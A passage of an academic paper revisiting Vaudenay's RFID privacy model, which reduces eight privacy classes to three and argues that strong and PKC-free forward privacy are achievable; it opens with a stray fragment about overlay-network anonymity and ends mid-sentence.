Our study reveals that the variance in ADU is always smaller than in Crowds.
In addition, the degree of anonymity achieved by ADU is equivalent to Crowds.
Thus, this mechanism is a recommended methodology to achieve a good trade-off
between cost/benefit associated with the anonymity in overlay networks.
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Abstract. In Asiacrypt 2007, Vaudenay proposed a formal model ad-
dressing privacy in RFID, which separated privacy into eight classes. One
important conclusion in the paper is the impossibility of achieving strong
privacy in RFID. He also left an open question whether forward privacy
without PKC is possible. In our paper, first we revisit the eight RFID
privacy classes and simplify them into three classes that will address the
same goal. Second, we show that strong privacy in RFID is achievable.
Third, we answer the open question by pointing out the possibility to
achieve forward privacy without PKC both within Vaudenay’s model and
in practice.

1 Privacy in RFID

Radio frequency identification (RFID) systems are designed to uniquely identify
any RFID tagged objects from a distance by using authorized RFID readers to
pick up the responses from RFID tags. Reasonable concerns on privacy have been
raised. In particular, when individual entities are bound with these RFID tagged
objects (e.g. human implantation [1]), even the location of the tag wearer can be
compromised [2]. For these reasons, adequate privacy protections have been de-
voted as the main research area in RFID (eg. [3,4,5,6,7,8,9,1,10,11,12,13,14,15]).

To measure the privacy level of various RFID protocols, we need a formal
model that defines privacy, available resources in the system and abilities of dif-
ferent classes of adversaries. In an effort to design a widely accepted privacy
model for the RFID environment, different innovative designs have been pro-
posed. The first work due to Avoine’s adversarial model [4] proposed flexible
definitions for different levels of privacy. Later, Juels proposed minimalist cryp-
tography [9] in which a very restrictive adversary is defined specially for RFID.
Juels and Weis commented on Avoine’s model in [11] where they presented a
powerful desynchronizing attack.The well known OSK protocol [12] was shown
to be secure under Avoine’s model [4], but later considered insecure in [11]. This
has shown the need of more researches on this topic.

Very recently, Vaudenay proposed a new model [16] with eight classes of pri-
vacy levels. He concluded his paper by showing that strong privacy in RFID is
impossible. Furthermore, an open questions whether forward privacy without re-
quiring public key cryptography (PKC) is possible to be achieved was presented.

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 251–266, 2008.
c© Springer-Verlag Berlin Heidelberg 2008
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Our Contributions
The contributions of this paper are threefold. First, having observed the classifi-
cation of privacy presented in [16], we show that the eight privacy classes can be
reduced to three privacy classes under appropriate assumptions. Second, based
on our simplified classification, we show that the strongest privacy level is indeed
achievable, in contrast to the result presented in [16]. This is a positive result
that supports the use of RFID in practice. Third, we answer the open question
in [16] by pointing out the possibility to achieve forward privacy without PKC
both within Vaudenay’s formal model and in practice.

2 Preliminaries

The following basic assumptions will be used throughout this paper. We note
that these assumptions have been used in the existing works as well. We consider
an RFID system with one reader and many tags. The reader is not corruptible
and all the data stored in reader side are secure. Only the wireless link established
between the reader and the involving tag during a protocol instance is insecure.
Tags are not tamper-proofed. All the internal secrets stored, the memory con-
tents written and the algorithms defined are assumed to be readily available to
the adversary when a tag is corrupted. The reader will always initiate the pro-
tocol by sending out the first query message (may contain a challenge) as the
tags are passive.

We briefly summarize Vaudenay’s privacy model, in particular the terms that
will be used frequently in the following sections. We refer the readers to [16] for
the complete definition and a more complex account.

System Model. An RFID scheme is defined by two setup algorithms and the
actual protocol.

– SetupReader(1s) is used to generate the required system parameters KP and
KS by supplying a security parameter s. KP denotes all the public parame-
ters available to the environment and KS denotes the private parameters
stored inside the reader and will never be revealed to the adversary.

– SetupTagb
KP

(ID) 1 is used to generate necessary tag secrets KID and SID

by inputting KP and a custom unique ID. KID denotes the key stored inside
the tag, rewritable when needed according to the protocol. SID denotes the
memory states pre-set to the tag, updatable during the protocol. A bit b
is also specified to indicate this newly setup tag is legitimate or not. An
entry of the pair (ID, KID) will be added into the database of the reader
to register this new tag when b = 1. Otherwise, if b = 0, the reader will not
recognize this tag as a legitimate tag and no entry is added. Notice that KID

and SID are not public and are not available to the adversary unless the tag
is corrupted.

– the actual protocol used to identify/authenticate tags with the reader.
1 This b notation was not explicitly specified originally in [16] for this algorithm, we

see the need to add it to make the description more precise.
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Adversarial Model. The following eight oracles are defined to represent the
abilities of the adversary. We may remove and omit some details in some of the
defined oracles but their main functionalities are still maintained.

– CreateTagb(ID) allows the creation of a free tag. The tag is further prepared
by SetupTagb

KP
(ID) with b and ID passed along as inputs.

– DrawTag() returns an ad-hoc handle vtag (unique and never repeats) for one
of the free tags (picked randomly). The handle can be used to refer to this
same tag in any further oracles accesses until it is erased. A bit b is also
returned to indicate whether the referencing tag is legitimate or not.

– Free(vtag) simply marks the handle vtag unavailable such that no further
references to it are valid.

– Launch() starts a protocol instance at the reader side and a handle π (unique
and never repeats) of this instance is returned.

– SendReader(m, π) sends a message m to the reader for a specific instance
determined by the handle π. A reply message m′ from the reader may be
returned depending on the protocol.

– SendTag(m, vtag) sends a message m to the tag determined by the handle
vtag. A reply message m′ from this tag may be returned depending on the
protocol.

– Result(π) returns either 1 if the protocol instance π being queried completed
with success (i.e. the protocol identifies a legitimate tag) or 0 otherwise.

– Corrupt(vtag) returns all the internal secrets Kvtag
2 and Svtag of the tag

determined by the handle vtag.

The interface (the environment) that provides the access to these oracles for
the adversary also maintains a hidden table T , which is not available to the
adversary until the last step of the privacy experiment (to be reviewed below).
When DrawTag() is called, a new entry of the pair (vtag, ID) is added into T .
When Free(vtag) is called, the entry with the same vtag handle will be marked
unavailable. The true ID of the tag with handle vtag is represented by T (vtag).

Privacy Experiment. The privacy experiment that runs on an RFID proto-
col is defined as a game to see whether the adversary outputs True or False
after seeing the hidden table T . At the beginning, the adversary is free to access
any oracles within his allowed oracles collection (which defines different classes
of adversary) according to his own attack strategy. Once the adversary finishes
querying, the hidden table T will be released to him. The adversary will then an-
alyze the table using the information obtained from the queries. If the adversary
outputs True, then he wins the privacy experiment.

To measure the privacy level of an RFID protocol, a blinder is constructed
to simulate Launch(), SendReader(m, π), SendTag(m, vtag) and Result(π). If
the adversary can still win with a similar probability in the above experiment

2 Originally in [16], Kvtag was not included in the description. They assume that Kvtag

is always extractable from Svtag. We add Kvtag here to make the description clearer.



254 C.Y. Ng et al.

even in the present of a blinder (hence the simulations do not affect the winning
probability too much), then his attack strategy is considered to be trivial. i.e.
either the simulations are perfect or the attack strategy does not exploit the
simulated oracles. If for all the possible attack strategies from this adversary,
we can construct a blinder (possibly different) for each of them such that they
are all trivial attacks, then the RFID protocol being experimented is called P -
private where P is the privacy class. Let A be the adversary and AB be the same
adversary blinded by the blinder B, then |Pr[A wins]−Pr[AB wins]| = ε can be
used to express the above measurement where ε is a negligible value.

Privacy Classes. The eight privacy classes are distinguished by different or-
acles collections and different natures on accessing Corrupt(vtag) according to
the strategies of the adversary.

– Weak : A basic privacy class where access to all the oracles are allowed
except Corrupt(vtag).

– Forward : It is less restrictive than Weak where access to Corrupt(vtag) is
allowed under the condition that when it is accessed the first time, no other
types of oracle can be accessed subsequently except more Corrupt(vtag)
(can be on different handles).

– Destructive : It further relaxes the limitation on the adversary’s strategies
compares to Forward where there is no restriction on accessing other types of
oracle after Corrupt(vtag) under the condition that whenever Corrupt(vtag)
is accessed, such handle vtag can not be used again (i.e. virtually destroyed
the tag).

– Strong : It is even more unrestrictive than Destructive where the condition
for accessing Corrupt(vtag) is removed. It is the strongest defined privacy
class in Vaudenay’s privacy model.

Each of these privacy classes also has their Narrow counterparts. Namely,
Narrow-Strong, Narrow-Destructive, Narrow-Forward and Narrow-Weak. These
classes share the same definitions of their counterparts only there is no access to
Result(π).

By relaxing the limitation on the adversary’s attack strategies from Weak to
Strong, the adversary becomes more powerful. One can see that the privacy level
is increasing from Weak to Strong if the protocol is secure against the respective
class of adversary. Hence, for an RFID protocol to be Strong-private, it must
also be Destructive-private. Likewise, to be Destructive-private, it must also be
Forward -private, and so on. And then for a P -private protocol, it must also
be Narrow -P -private since the Narrow counterparts are more restrictive. From
these implications, the relations between the eight privacy classes are as follow:

Strong ⇒ Destructive ⇒ Forward ⇒ Weak
⇓ ⇓ ⇓ ⇓

Narrow-Strong ⇒ Narrow-Destructive ⇒ Narrow-Forward ⇒ Narrow-Weak
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3 New Privacy Classification

In this section, we firstly comment on the privacy model defined in [16]. In
particular, we comment that the separation of eight privacy classes is rather
excessive and unnecessary for most of the RFID protocols under proper assump-
tions. Then, we provide our simplified privacy model that will merge some of the
privacy classes defined in [16] into a single class. The main aim of this section is
to prove the following proposition:

Proposition 1. For protocols without correlated keys and do not produce false-
negative results, the eight privacy classes can be reduced to three major privacy
classes if the adversary only makes “wise” oracle access.

The “no false-negative” assumption that we will incorporate also appear in
Lemma 8 of [16] where narrow-forward and narrow-weak privacy classes are
reduced to forward and weak privacy classes respectively (i.e. from eight classes
to six classes). The lemma assumes that any legitimate tag will always be identi-
fiable, which means no false-negative is possible. Hence, accessing the Result(π)
oracle becomes redundant. As a result, the separation between Forward (Weak)
and Narrow-Forward (Narrow-Weak) becomes unnecessary. We further extend
this to the strong and destructive classes and consider also the false-positive case
in the following proposition.

Proposition 2. If the privacy model considers only RFID protocols that are
correct and no false-negative is possible and we assume that the adversary A
only makes “wise” oracle access whenever A has a non-trivial attack strategy,
then the separation between narrow and non-narrow classes is unnecessary.

The idea of proposition 2 is that if we can be sure and verify that the RFID
protocol being examined will never give out false-negative, then we can examine
the protocol only according to the definition of the privacy classes Strong, De-
structive, Forward and Weak by assuming a “wise” adversary. This means that
whether the Result(π) oracle is accessed or not, it does not affect the privacy
experiment results. We can remove the necessity of this oracle and reduce the
eight privacy classes into four privacy classes.

Before proofing the proposition, we have to define what is “wise” oracle access
and redefine what are trivial and non-trivial attacks. We also introduce perfect
blinders and partial blinders.

Wise Adversary. An adversaryA who is “wise” on oracle access will not make
any oracle access that is redundant, or in other words, brings no advantage to
him in attacking privacy of the protocol. Simply speaking, A will not waste any
oracle access. More formally, let S and S′ denote two different attack strategies
of A in the privacy experiment for the same privacy class. Let q and q′ be the
total number of oracle accesses after executing S and S′ respectively. S defines
a “wiser” oracle access strategy compares to S′ if and only if Pr[AS wins] =
Pr[AS′ wins] and q < q′. Overall, a “wise” adversary can be generally defined
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such that for all his attack strategies, the total numbers of oracle accesses are
always minimal. Of course, such general definition of “wise” is not specific enough
because q is not known before the end of attack. Specific rules are needed to
keep q minimal. Consider the following as the special properties of our “wise”
adversary:

– No access to the same oracle (if not probabilistic) with the same input twice.
– No access to oracles where the results can be precisely predicted.

Property 2 may be too general and should receive more justification. However,
to serve our purpose in reducing the privacy classes, it is enough to focus on the
Result(π) oracle only, i.e. if a certain result is expected, the “wise” adversary
will not access the Result(π) oracle. Indeed, if the RFID protocol is Correct,
then any legitimate or non-legitimate tag should be identified correctly, i.e. if the
protocol instance π was completed for a legitimate tag, then Result(π) should
return 1; otherwise, 0 should be returned if it was a non-legitimate tag. This
should be true as long as there are no adversarial attacks or the attacks are
insignificant. We say that an attack is significant if and only if it causes the
Result(π) oracle to return an opposite result. This means that if there is a
significant attack on a legitimate tag, then Result(π) would return 0 instead of
1, and we have a false-negative; if there is a significant attack on a non-legitimate
tag, then Result(π) would return 1 instead of 0, and we have a false-positive.
Notice that we do not need to consider incorrect identification here where a
legitimate tag with ID a is identified as ID b because the Result(π) oracle will
only return 1 either way, making it indistinguishable by looking at the returned
value only. After all, impersonation is not the goal of the privacy adversary.

Redefining Trivial and Non-Trivial Attacks. By definition, if there is a
blinder B such that |Pr[A wins]−Pr[AB wins]| = ε where ε is a negligible value,
then we say that the attack by A is trivial, otherwise if the value is non-negligible
then the attack is non-trivial. It naturally follows that we can express this dif-
ference in the success probability of A under normal oracle access and simulated
oracle access as the potential advantage loss ofA becauseA has a different failure
probability during the interactions with simulated oracles due to abortion of the
blinder. We define this disadvantage as DB

abort = |Pr[A wins]−Pr[AB wins]| =
|(1−Pr[A fails])−(1−Pr[AB fails])| = |Pr[A fails]−Pr[AB fails]|. Hence, DB

abort

is the difference in the probability that A will fail after the introduction of B and
if DB

abort = ε, then the attack by A is trivial; otherwise if DB
abort = θ where θ

is some non-negligible value, then the attack by A is non-trivial.

Perfect Blinder. A perfect blinder B̄ is a blinder that can simulate all the four
blinded oracles (Launch(), SendReader(m, π), SendTag(m, vtag) and Result(π))
perfectly such that DB̄

abort = ε.

Partial Blinder. Similarly, a partial blinder Ḃ is a blinder that has at least one
of the four blinded oracles where the simulation is not perfect. i.e. Ḃ will have a
chance to abort if an imperfect simulated oracle is being accessed. Notice that
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we may or may not end up with DḂ
abort = θ because A may or may not have

effectively exploited the imperfect simulated oracle(s), it depends on the attack
strategy of A.

We have the following lemma that changes a partial blinder to a perfect
blinder.

Lemma 1. A partial blinder can be viewed as a perfect blinder if and only if the
adversary does not effectively exploit the imperfect simulated oracle(s).

Proof. Let Ḃ be the partial blinder where at least one of the four simulated
oracles is imperfect. Let O denote the set of simulated oracles, then we have Op

be the set of perfect simulated oracles and Oc
p be the set of imperfect simulated

oracles. Op∪Oc
p = O and Op∩Oc

p = ∅. Let O′ be the set of non-simulated oracles
and let E∗ be the event that an abortion happens in oracle ∗. (if part) It is easy
to justify that Pr[AḂ fails] = Pr[EO] + Pr[EO′

] = Pr[EOp∪Oc
p ] + Pr[EO′

] =
Pr[EOp ] + Pr[EOc

p ] + Pr[EO′
]. Since the adversary does not effectively exploit

the imperfect simulated oracle, which means Pr[EOc
p ] is negligible. Note we also

have Pr[AB̄ fails] = Pr[EOp ] + Pr[EO′
], which is basically Pr[AḂ fails] - Pr[EOc

p ].
i.e. |Pr[AB̄ fails] - Pr[AḂ fails]| = ε. (only if part) Suppose the adversary did
effectively exploit the imperfect simulated oracle, then we have DḂ

abort = θ,
which can not be a perfect blinder for DB̄

abort = ε �	

Corollary, we can divide the following similar lemma that changes a partial
blinder of one privacy class to a perfect blinder of another privacy class using a
similar proof.

Lemma 2. A partial blinder of a stronger privacy class can be viewed as a
perfect blinder of a weaker privacy class if and only if the imperfect simulated
oracle is not available in the weaker privacy class.

We do not repeat the proof here as it is very similar to the pervious proof.
Clearly, not using effectively is an analogue to not available. These lemmas are
general, which applies to any oracles and privacy classes. But since our goal is to
show the relation between Narrow and Non-narrow classes where the Result(π)
oracle is available only to non-narrow classes, without loss of generality we will
specifically use the Result(π) oracle as an example in the following proof. We
are now ready to prove the proposition.

Proof. The significance of calling the Result(π) oracle is when there will be an
opposite output, i.e. getting 1 when it supposes to be 0 or vice versa. This means
that at least some of the attack sequences in the attack strategy have signifi-
cant effect to the protocol, which makes the reader misidentify a legitimate tag
as a non-legitimate one (false-negative) or a non-legitimate one as a legitimate
one (false-positive). Otherwise, it would not be “wise” for the adversary to ac-
cess Result(π) if he did not execute any significant attacks since either 1 or 0
will be the guaranteed output for legitimate or non-legitimate tag. Indeed, the
adversary always knows this fact (whether a tag is legitimate or not) when he
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calls DrawTag() to obtain a handle to a tag where a bit b is also provided to
indicate the legitimacy of that tag. According to the behavior of the blinder B
in simulating the Result(π) oracle, there can be different situations:

True oracle Perfect simulation Imperfect simulation
Legitimate 1 (vtag, 1) ← DrawTag() (vtag, 1) ← DrawTag()

Non-legitimate 0 (vtag, 0) ← DrawTag() (vtag, 0) ← DrawTag()
False-negative N/A N/A N/A
False-positive 1 1 ← ResultB(π) unknown

Since we have the hypothesis that there is no false-negative, we do not need
to consider it in the proof. We now have four cases to consider: i) when the
attack is trivial, ii) when the attack is non-trivial and there is/are imperfect
simulated oracle(s) other than ResultB(π), iii) when ResultB(π) is the only
imperfect simulated oracle but A does not make effective use of it, and iv) when
ResultB(π) is the only imperfect simulated oracle and A exploited it effectively.

(Case i) Consider when the attack strategies of A are all trivial. Then, by
definition, the four oracles Launch(), SendReader(m, π), SendTag(m, vtag) and
Result(π) must be simulated successfully without non-negligibly affecting the
success probability of the blinded A. Since the simulation is perfect, A should
expect no advantage gained by accessing any one of these blinded oracles in
compare to when they are not blinded, i.e. we always have a perfect blinder B̄
such that DB̄

abort = ε where ε is some negligible value. Hence the RFID protocol
is secure in the an non-narrow class. As the narrow counterpart is a subset of the
non-narrow class, the protocol is also secure in the corresponding narrow class.
As a result, protocols are both secure in narrow and non-narrow classes if the
adversary’s attacks are all trivial, which makes the separation unnecessary.

(Case ii) We consider when A has a non-trivial attack strategy. This means
that there is at least one of the four blinded oracles that failed to simulate the
real oracle perfectly. Suppose that it is not the ResultB(π) oracle which is/are
imperfect or if ResultB(π) is imperfect, there is/are other imperfect blinded
oracle(s). Since the imperfect blinded oracle(s) other than ResultB(π) is/are
available to both the narrow and non-narrow classes, which means A can always
launch non-trivial attacks through them, i.e. the RFID protocol is not secure in
both classes anyway, hence the separation is unnecessary.

(Case iii) Suppose that it is now only the ResultB(π) oracle which is imperfect.
Then, we have a partial blinder Ḃ. Assume that A did not make effective use of
ResultB(π) during his attack; then by lemma 1, the partial blinder Ḃ of the non-
narrow classes can be viewed as a perfect blinder B̄ for the same privacy classes.
Also by lemma 2, Ḃ of the non-narrow classes is also a perfect blinder of the narrow
classes since ResultB(π) is not available in the narrow classes. Since the blinder
is perfect in both classes,A’s attacks can only be trivial and the RFID protocol is
secure in both non-narrow and narrow classes. Hence, even if ResultB(π) can not
be simulated perfectly, there is no difference in the privacy experiments for both
classes if the imperfect ResultB(π) is not exploited effectively.

(Case iv) Now for A to exploit the imperfect ResultB(π) effectively, A must
cause an opposite output to happen when accessing ResultB(π). Since false-
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negative is not possible as it is the hypothesis, we only need to look at false-
positive, i.e. getting 1 instead of 0. False-positive happens when a non-legitimate
tag is wrongly identified by the reader as a legitimate tag. Let us denote this
event as E. Assume that A is “wise” enough not to waste any oracle accesses.
When E occurs, A must have done some significant attacks to a non-legitimate
tag or else the protocol is simply incorrect. In order to attack the tag, A must
have obtained a handle vtag to this tag, which means A must have called the
DrawTag() oracle. Recall that DrawTag() returns vtag and a bit b indicating
whether vtag is legitimate or not. Since vtag is non-legitimate, we have b = 0.
Recall that DrawTag() is not simulated by the blinder B, B can also observe
the returned pair (vtag, 0) when DrawTag() is accessed by A, hence B must also
know vtag is a non-legitimate tag. Since B does not know KS , B has no way to
tell if the reader will accept vtag or not for A may have attacked vtag at any
moment, hence B may not be able to output the same value as the real Result(π)
oracle. B can only hope that whenever A accesses the ResultB(π) oracle, A
must have already attacked vtag successfully, hence B can be constructed to
simulate ResultB(π) by returning 1 if π is the protocol instance with vtag where
(vtag, 0) is observed when DrawTag() is accessed. The simulation is perfect as
long as A performs significant attacks to vtag, which causes the results change
from 0 to 1. The simulation will fail when A makes the ResultB(π) query for
the protocol instance where vtag is not being attacked. In that case, B should
return 0 instead of 1. However, this should not happen because this contradicts
the second property of the “wise” A who will not waste any oracle accesses as he
knows that the reader must be able to identify a non-legitimate tag (i.e. returning
0) if it has not been attacked. Hence A would not have called ResultB(π) for
the protocol instance with vtag when A did not perform any significant attacks
to vtag. At the end, B can simulate the oracles perfectly in front of the “wise”
A and hence DB̄

abort = ε, making A’s strategy trivial, which contradicts that
A has a non-trivial attack strategy. Hence A would not have let E occur, which
becomes case iii. ��

This proof shows that the Result(π) oracle will never help the adversary if
the RFID protocol being examined renders no false-negative. Furthermore, the
adversary should not waste time on causing a false-positive since the attack
should be on privacy and not on impersonation nor unauthorized access. In other
words, from all the possible attack strategies of A, there will be no Result(π)
queries if the RFID protocol being attacked does not give out false-negative. One
can also extend proposition 2 to include RFID protocols where false-negative
occurs with negligible if not zero probability with the same proof. Now, we have
obtained the result that a P -private adversary’s strategy performs as best as
a Narrow -P -private adversary’s strategy under proposition 2. Hence, we have
reduced eight classes to four classes, as follows.

Strong ⇒ Destructive ⇒ Forward ⇒ Weak

Next, we analyze the usefulness of the destructive class. In fact, it is also men-
tioned in [16] that the purpose of separating the strong and destructive classes
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is unclear. The destructive class is a rarely happen privacy level. Perhaps, this
is the reason why there is no example provided, which is secure for this class
in [16]3. Therefore, we come up with the following proposition.

Proposition 3. If the privacy model considers only RFID protocols that use no
correlated keys among tags, then it is unnecessary to consider the destructive
classes (both narrow and non-narrow).

In other words, the destructive class is only useful to examine RFID protocols
where the tags share some correlated secrets. Such type of protocols is not com-
mon in RFID. To date, we only see two constructions in [17] and [18]. The
motivation behind these protocols by providing correlated key protocols is to
reduce the workload and time required to lookup a matching key to verify the
tag in the reader side. In most of the proposed RFID protocols under symmetric
key settings [5,8,12,13], it is unavoidably to engage in an exhaustive key search
process in the reader side in order to compute and match the response of any tag
from all the possible keys stored inside the database. Attempts to solve this prob-
lem by providing some means to keep tags and the reader synchronized on the
next expected key to be used [19,20] are found to have security loopholes [4,11].
Furthermore, Jules exploited this to attack various protocols by constructing
side-channel attacks thank to the obvious different key lookup time detectable
from each protocol session in [11]. A recent attempt to provide a constant lookup
time [21] turns out to use a one-way trapdoor function, which is considered as
one of the public key settings. Hence, there is still no efficient protocol known
to solve this issue under symmetric key settings.

Additionally, correlated keys protocol under symmetric key settings can re-
duce the number of keys search to a logarithmic scale but with a sacrifice on
strong privacy [17]: any corruption of the tag will degrade the privacy level be-
cause a tag stores not only its secret keys but also keys that share with other
tags. One typical example of a correlated key protocol can be constructed us-
ing log2 n keys for n tags. Suppose there are 8 tags in the system. One can
generate only 6 keys, namely: Ka

0 , Kb
0, K

c
0, K

a
1 , Kb

1, K
c
1. Each tag is equipped

with a unique set of keys, i.e. Tag1 ← {Ka
0 , Kb

0, K
c
0}, Tag2 ← {Ka

0 , Kb
0, K

c
1}, ...

Tagn ← {Ka
1 , Kb

1, K
c
1}. It is easy to verify that these tags can be uniquely iden-

tified by checking at most 6 instead of 8 keys as in the independent key protocols
by the reader. However, corrupting any one of these tags provides the adversary
with a full potential to distinguish each of these tags responses. Damg̊ard [18]
provided a result on the tradeoff between the number of correlated keys and the
number of corrupted tags as:

ctu

v
+

ctu

v − u
where c is the number of keys stored in each tag, v is the number of different
keys per column, t is the number of tags queried by the adversary and u is the
3 Notice that the example provided in [16] for the narrow-destructive class that use

independent keys is not different from a protocol for the narrow-forward class, while
the example given that uses dependent keys is insecure in the narrow-destructive
class.



RFID Privacy Models Revisited 261

number of corrupted tag. As long as the result of the formula is negligible, the
protocol is secure. In our example given above, c = 3, v = 2 and u = 1, hence
we have 3t

2 + 3t ≤ ε, which means t < 1, i.e. the protocol is secure only if the
adversary does not query any tag at all, or simply the protocol is never secure
against tag corruptions.

From the above discussion, it is clear that correlated key protocols are ex-
tremely weak against tag corruption. One can only expect the protocol to be
secure if t, u << v << n << vc. In the model of [16], since there is no limitation
on either t or u, there can be no correlated key protocols that is secure in both
strong and destructive privacy classes. The proof of proposition 3 follows.

Proof. Recall the destructive class definition, after calling Corrupt(vtag), the
same tag handle vtag is not allowed to be used anymore. It is clear to see
from the definition that this destructive corruption cannot provide the adversary
any additional advantage in winning the privacy game if each of the tags is
independent to each other. In order for the Corrupt(vtag) oracle to become
significant under the destructive class definition, the corrupted internal secrets
Kvtag and Svtag have to be useful in some following oracle accesses (if it is
useful to the results obtained from some pervious oracles, then we have gone
backward to the forward class). Since the corrupted tag of handle vtag cannot be
accessed again, the secrets must only be used on some other tags. If the tags are
independent to each other, Kvtag and Svtag would have revealed no information
about any other tags. As there is no effect on other tags, the simulation of the
blinder can be easily constructed, making the adversary’s strategy trivial and
hence the attack is insignificant. ��

Combining the above results, the destructive class is rather not very meaningful.
It is only useful to examine protocols that use correlated keys while these pro-
tocols can never achieve strong and destructive privacy classes under the model
in [16]. Together with proposition 2, we have successfully reduced the eight pri-
vacy classes into three major classes, as follows.

Strong ⇒ Forward ⇒ Weak

Our result simplifies the previous privacy classification due to Vaudenay [16].
Furthermore, in contrast to Vaudenay’s result, we shall show that strong privacy
is indeed possible, and hence this result will indeed make RFID protocols more
useful in its real applications.

4 New Results

In this section, we will present our new results in privacy model in RFID. In
particular, we shall show that strong privacy is indeed possible (cf. [16]) and we
shall present our affirmative answer to the open problem posed in [16] in regards
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to the construction of RFID scheme with forward privacy without requiring the
public key cryptography (PKC).

4.1 Strong Privacy Is Possible

One of the results in [16] is that strong privacy is impossible. This is sup-
ported by a theorem that a Destructive-private RFID protocol is not Narrow-
Strong-private. Since Strong-private (S) implies both Destructive-private (D)
and Narrow-Strong-private (NS) by definition4, we have S ⊆ D and S ⊆ NS.
i.e. ∃p ∈ S s.t. p ∈ D and p ∈ NS where p is an RFID protocol. However, we
would like to use our results in Section 3 to show that strong privacy is ac-
tually possible. We consider the same example of PKC-based RFID protocol
provided in Section 4.3 of [16], which is Narrow-Strong-private. By applying
proposition 2, we show that it is also Strong-private.

We look at the following example PKC protocol where Enc() is IND-CPA
secure and (KP , KS) is the public and private keys pair. For completeness, we
present the protocol below.

Tag{KP , ID, KID} Reader{KS, KM}
a←−−−−−−−−−−−− pick a ∈ {0, 1}s randomly

c = EncKP (KID||ID||a) c−−−−−−−−−−−→ DecKS (c) = KID||ID||a′

if a′ = a, verifies KID = FKM (ID)

To apply proposition 2, we have to observe whether false-negative could be
generated. Since c is the only message received by the reader, a false-negative
can only happen if c is malicious (i.e. ID and KID are replaced), or c happens
to be the same encrypted value c′ where c′ = EncKP (ID′||KID′ ||a). The former
is safe guarded by the IND-CPA secure property of the PKC algorithm, which
states that it is infeasible for any computationally bounded adversary to retrieve
the private key by looking at the ciphertexts of arbitrarily chosen plaintexts only.
That means, the only possible option is to guess the private key, which happens
with negligible probability. The latter will not happen as decryption is unique,
otherwise both c and c′ will be decrypted to a same value. Therefore, we can
apply proposition 2 and the PKC protocol is also Strong-private if it is Narrow-
Strong-private. This gives us the result S = NS. Since S ⊆ D, we also have
NS ⊆ D. Together with the theorem in [16], we conclude with NS ⊂ D.

4.2 Truly Random Source Is Required

Let us observe the PKC protocol above again. The protocol assumes that the un-
derlying encryption algorithm is IND-CPA. Due to the randomness of the IND-
CPA property, which is needed to provide indistinguishability, c is different every
4 This is easy to verify. As Narrow-Strong is Strong without the Result(π) oracle ac-

cess. Destructive is Strong with additional limitation on accessing the Corrupt(vtag)
oracle. Both are more restrictive (i.e. the adversary is less powerful) than Strong. A
protocol secure in Strong must also be secure in Destructive and Narrow-Strong.
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time even if the same a is received by the same tag, i.e. c = EncKP (KID||ID||a)
in protocol instance π is not equal to c̃ = EncKP (KID||ID||a) in another protocol
instance π̃. This randomness is implicitly included in the IND-CPA assumption.
We can change the notation a little bit to reveal this hidden randomness. We
rewrite the PKC protocol as follows.

Tag{KP , ID, KID} Reader{KS, KM}
pick r ∈ {0, 1}s randomly a←−−−−−−−− pick a ∈ {0, 1}s randomly
c = EncKP (KID||ID||a||r) c−−−−−−−−→ DecKS (c) = KID||ID||a′||r

if a′ = a, verifies KID = FKM (ID)

In fact, even under the IND-CPA assumption, the tag still needs to pick a random
value r for every encryption (e.g. using theElGamal scheme).This is just abstracted
in [16]. With the new notation, we can now consider the following question: If a tag
is corrupted, will the future random values be revealed as well? If PRNG is imple-
mented in the tag to generate random values, the answer to this question should
be ‘yes’. It is easy to see that if the PRNG algorithm is revealed after corrupting
the tag, the adversary can easily trace the tag by computing r = PRNG(S) (S is the
memory state of the tag) and then verifies that if c = EncKP (KID||ID||a||r) where
KID, ID, SID, and PRNG() are all revealed after tag corruption. Since c is unique,
the adversary must be able to trace the tag. However, if the tag has a truly random
source (e.g. another module attached to the tag), this can be modeled as a random
oracle and the answer should be ‘no’. We conclude that a truly random source (un-
der the randomoraclemodel) is required for thePKCprotocol to beStrong-private,
which was missing in the definition provided in [16].

4.3 Forward Privacy without PKC

Consider a variant of the OSK protocol [12] that appeared in [16] as follows.

Tag{KID} Reader{(ID1, K1), (ID2, K2), ..., (IDn, Kn)}
a←−−−−−−−− pick a ∈ {0, 1}s randomly

c = F (KID, a) c−−−−−−−−→ for j ∈ {1, n} and i ∈ {0, t − 1}
set KID = G(KID) find (IDj , Kj) s.t. c = F (Gi(Kj), a)

set Kj = Gi+1(Kj)

This protocol is proven to be Narrow-Destructive-private in [16]. Recall that
Narrow-Destructive ⇒ Narrow-Forward, this protocol is also Narrow-Forward -
private. We note that our proposition 2 cannot be applied to this protocol because
false-negative can happen when a legitimate tag has been queried for t times by
an adversary before it is queried by the reader again. Since KID would become
Gt(KID) by then and the reader will only try 0 ≤ i ≤ t − 1 different Gi(Kj) val-
ues per (IDj , Kj) pair to find a matching F (Gi(Kj), a) for c, that legitimate tag
will not be identified successfully by the reader, hence a false-negative occurs. In
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other words, calling Result(π) in this case helps the adversary to gain advantage in
winning the privacy experiment, which causes this protocol tobeNarrow-Forward -
private only but not Forward -private. Hence, leaving the question “whether
Forward-private without PKC is possible” open.

Here, we would like to apply proposition 2, so that Forward is not different
from Narrow-Forward, and the OSK variant protocol will become also Forward -
private, and hence, it will answer the open problem. First of all, we notice that
the reason why there can be false-negative is due to i ≤ t−15. Next, we consider
the number of queries to a tag the adversary can make be q and we assume
that q ≤ t. In other words, the adversary can never query any particular tag for
more than t times and the reader is now always able to identify any legitimate
tag, which also means there will not be any false-negative. This implies that
proposition 2 can be applied and we have the OSK variant protocol become
Forward -private.

The only thing that is arguable is whether the assumption (q ≤ t) makes any
sense or not. Clearly, one can also argue that when q > t, then the privacy will
not be satisfied any longer. Hence, the problem has turned to a a scalability issue:
“Can we always have a more resourceful reader compared to an adversary?” In fact,
the ability of an adversary can be limited by different means in reality. Limited tag
queries due to the mobility of tags and throttling [9] are some realistic examples
to support the assumption. In particular, for the low-cost RFID tag environment,
it is more appropriate to consider a less almighty adversary model. Furthermore,
seeking strong privacy in front of a powerful adversary for RFID that is known by
its limited resources characteristic seems to be impractical.

5 Conclusion

In this paper, we examined the RFID privacy model provided in [16] in a great
detail and presented some new results. Firstly, we examined the eight different
classes presented in [16] and applied some reasonable assumptions to simplify
the classification. Then, we presented a counter argument to [16] by stating
that strong privacy in RFID is indeed achievable. In summary, to achieve strong
privacy, tags are required to perform not only public key cryptography, but
also require an additional reliable random source, which was missing from the
description provided in [16]. Nonetheless, this results in a high manufacturing
cost for RFID tags. However, in contrast to Vaudenay’s result, we have shown
that strong privacy is indeed achievable. Furthermore, we believe that in the
future development of RFID, privacy will have to be sacrificed to keep the cost
